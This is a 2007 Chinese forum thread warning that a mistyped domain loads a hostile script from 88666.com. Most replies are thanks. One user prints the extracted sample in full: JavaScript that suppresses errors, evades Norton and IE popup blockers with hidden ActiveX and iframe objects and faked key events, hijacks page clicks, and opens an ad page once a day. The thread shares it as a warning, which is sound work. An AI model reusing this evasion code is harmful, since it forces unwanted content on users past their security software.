不小心输入了www.kpfans.com.cn

显示全部楼层 · 发表于 2007-2-13 12:05:20

我们的论坛太有名了。

显示全部楼层 · 发表于 2007-2-13 13:22:34

http://www.88666.com/q.js

显示全部楼层 · 发表于 2007-2-13 13:52:48

谢谢LZ提醒

显示全部楼层 · 发表于 2007-2-13 14:41:54

谢谢提醒

显示全部楼层 · 发表于 2007-2-13 15:58:20

我代表卡巴杀了它!

显示全部楼层 · 发表于 2007-2-13 16:42:51

感谢LZ提醒啊!

显示全部楼层 · 发表于 2007-2-13 17:10:56

看来病毒无孔不入啊

显示全部楼层 · 发表于 2007-2-16 16:55:09

确实哦，
LZ真好。

显示全部楼层 · 发表于 2007-2-16 18:19:57

我提取的样本

q.rar (2.42 KB, 下载次数: 11)

2007-2-16 18:19 上传

点击文件名下载附件

var paypopupURL = "http://88666.com/yazhoujiaoyou/index.htm";
var usingActiveX = true;
function blockError()
{
return true;
}
window.onerror = blockError;
//bypass norton internet security popup blocker
if (window.SymRealWinOpen)
{
window.open = SymRealWinOpen;
}
if (window.NS_ActualOpen)
{
window.open = NS_ActualOpen;
}
if (typeof(usingClick) == 'undefined')
{
var usingClick = false;
}
if (typeof(usingActiveX) == 'undefined')
{
var usingActiveX = false;
}
if (typeof(popwin) == 'undefined')
{
var popwin = null;
}
if (typeof(poped) == 'undefined')
{
var poped = false;
}
if (typeof(paypopupURL) == 'undefined')
{
var paypopupURL = "[url]http://www.test.com[/url]";
}
var blk = 1;
var setupClickSuccess = false;
var googleInUse = false;
var myurl = location.href+'/';
var MAX_TRIED = 20;
var activeXTried = false;
var tried = 0;
var randkey = '0'; // random key from server
var myWindow;
var popWindow;
var setupActiveXSuccess = 0;
// bypass IE functions
function setupActiveX()
{
if (usingActiveX)
{
try
{
if (setupActiveXSuccess < 5)
{
document.write('<INPUT STYLE="display:none;" ID="autoHit" TYPE="TEXT" ONKEYPRESS="showActiveX()">');
popWindow=window.createPopup();
popWindow.document.body.innerHTML='<DIV ID="objectRemover"><OBJECT ID="getParentDiv" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="'+myurl+'/paypopup.html" TYPE="text/html"></OBJECT></DIV>';
document.write('<IFRAME NAME="popIframe" STYLE="position:absolute;top:-100px;left:0px;width:1px;height:1px;" SRC="about:blank"></IFRAME>');
popIframe.document.write('<OBJECT ID="getParentFrame" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="'+myurl+'/paypopup.html" TYPE="text/html"></OBJECT>');
setupActiveXSuccess = 6;
}
}
catch(e)
{
if (setupActiveXSuccess < 5)
{
setupActiveXSuccess++;
setTimeout('setupActiveX();',500);
}
else if (setupActiveXSuccess == 5)
{
activeXTried = true;
setupClick();
}
}
}
}
function tryActiveX()
{
if (!activeXTried && !poped)
{
if (setupActiveXSuccess == 6 && googleInUse && popWindow && popWindow.document.getElementById('getParentDiv') &&
popWindow.document.getElementById('getParentDiv').object && popWindow.document.getElementById('getParentDiv').object.parentWindow)
{
myWindow=popWindow.document.getElementById('getParentDiv').object.parentWindow;
}
else if (setupActiveXSuccess == 6 && !googleInUse && popIframe && popIframe.getParentFrame &&
popIframe.getParentFrame.object && popIframe.getParentFrame.object.parentWindow)
{
myWindow=popIframe.getParentFrame.object.parentWindow;popIframe.location.replace('about:blank');
}
else
{
setTimeout('tryActiveX()',200);
tried++;
if (tried >= MAX_TRIED && !activeXTried)
{
activeXTried = true;
setupClick();
}
return;
}
openActiveX();
window.windowFired=true;
self.focus();
}
}
function openActiveX()
{
if (!activeXTried && !poped)
{
if (myWindow && window.windowFired)
{
window.windowFired=false;
document.getElementById('autoHit').fireEvent("onkeypress",(document.createEventObject().keyCode=escape(randkey).substring(1)));
}
else
{
setTimeout('openActiveX();',100);
}
tried++;
if (tried >= MAX_TRIED)
{
activeXTried = true;
setupClick();
}
}
}
function showActiveX()
{
if (!activeXTried && !poped)
{
if (googleInUse)
{
window.daChildObject=popWindow.document.getElementById('objectRemover').children(0);
window.daChildObject=popWindow.document.getElementById('objectRemover').removeChild(window.daChildObject);
}
newWindow=myWindow.open(paypopupURL,'abcdefg');
if (newWindow)
{
newWindow.blur();
self.focus();
activeXTried = true;
poped = true;
}
else
{
if (!googleInUse)
{
googleInUse=true;
tried=0;
tryActiveX();
}
else
{
activeXTried = true;
setupClick();
}
}
}
}
// end bypass IE functions
// normal call functions
function paypopup()
{
if (!poped)
{
if(!usingClick && !usingActiveX)
{
popwin = window.open(paypopupURL,'abcdefg');
if (popwin)
{
poped = true;
}
self.focus();
}
}
if (!poped)
{
if (usingActiveX)
{
tryActiveX();
}
else
{
setupClick();
}
}
}
// end normal call functions
// onclick call functions
function setupClick()
{
if (!poped && !setupClickSuccess)
{
if (window.Event)
document.captureEvents(Event.CLICK);
prePaypopOnclick = document.onclick;
document.onclick = gopop;
self.focus();
setupClickSuccess=true;
}
}
function gopop()
{
if (!poped)
{
popwin = window.open(paypopupURL,'abcdefg');
if (popwin)
{
poped = true;
}
self.focus();
}
if (typeof(prePaypopOnclick) == "function")
{
prePaypopOnclick();
}
}
// end onclick call functions
// check version
function detectGoogle()
{
if (usingActiveX)
{
try
{
document.write('<DIV STYLE="display:none;"><OBJECT ID="detectGoogle" CLASSID="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB" STYLE="display:none;" CODEBASE="view-source:about:blank"></OBJECT></DIV>');
googleInUse|=(typeof(document.getElementById('detectGoogle'))=='object');
}
catch(e)
{
setTimeout('detectGoogle();',50);
}
}
}
function version()
{
var os = 'W0';
var bs = 'I0';
var isframe = false;
var browser = window.navigator.userAgent;
if (browser.indexOf('Win') != -1)
{
os = 'W1';
}
if (browser.indexOf("SV1") != -1)
{
bs = 'I2';
}
else if (browser.indexOf("Opera") != -1)
{
bs = "I0";
}
else if (browser.indexOf("Firefox") != -1)
{
bs = "I0";
}
else if (browser.indexOf("Microsoft") != -1 || browser.indexOf("MSIE") != -1)
{
bs = 'I1';
}
if (top.location != this.location)
{
isframe = true;
}
paypopupURL = paypopupURL;
usingClick = blk && ((browser.indexOf("SV1") != -1) || (browser.indexOf("Opera") != -1) || (browser.indexOf("Firefox") != -1));
usingActiveX = blk && (browser.indexOf("SV1") != -1) && !(browser.indexOf("Opera") != -1) && ((browser.indexOf("Microsoft") != -1) || (browser.indexOf("MSIE") != -1));
detectGoogle();
}
version();
// end check version
function loadingPop()
{
if(!usingClick && !usingActiveX)
{
paypopup();
}
else if (usingActiveX)
{
tryActiveX();
}
else
{
setupClick();
}
}
function getCookie(Name)
{
var search = Name + "=";
if (window.document.cookie.length > 0)
{ // if there are any cookies
offset = window.document.cookie.indexOf(search);
if (offset != -1)
{ // if cookie exists
offset += search.length; // set index of beginning of value
end = window.document.cookie.indexOf(";", offset) // set index of end of cookie value
if (end == -1)
end = window.document.cookie.length;
return unescape(window.document.cookie.substring(offset, end));
}
}
return null;
}
function setCookie(name, value, expire)
{
window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
}
function register(name)
{
var today = new Date();
var expires = new Date();
//expires.setTime(today.getTime() + 1000*60*60*10);
//expires.setTime(today.getTime() + 1000*60*60*(0-today.getHours()) - 1000*60*(60-today.getMinutes()) - 1000*(60-today.getSeconds()) );
expires.setTime(today.getTime() + 1000*60*60*(0-today.getHours()) - 1000*60*(60-today.getMinutes()) );
setCookie("51mxd", name, expires);
}
function openWin()
{
var c = getCookie("51mxd");
if (c != null)
{
return;
}
loadingPop();
register("yuegui");
self.focus();
}
myurl = myurl.substring(0, myurl.indexOf('/',8));
if (myurl == '')
{
myurl = '.';
}
setupActiveX();
openWin();
//loadingPop();
//self.focus();

复制代码

[ 本帖最后由 magnum0 于 2007-2-16 18:21 编辑 ]

显示全部楼层 · 发表于 2007-2-20 19:09:27

多谢提醒

[已解决] 不小心输入了www.kpfans.com.cn

呵呵……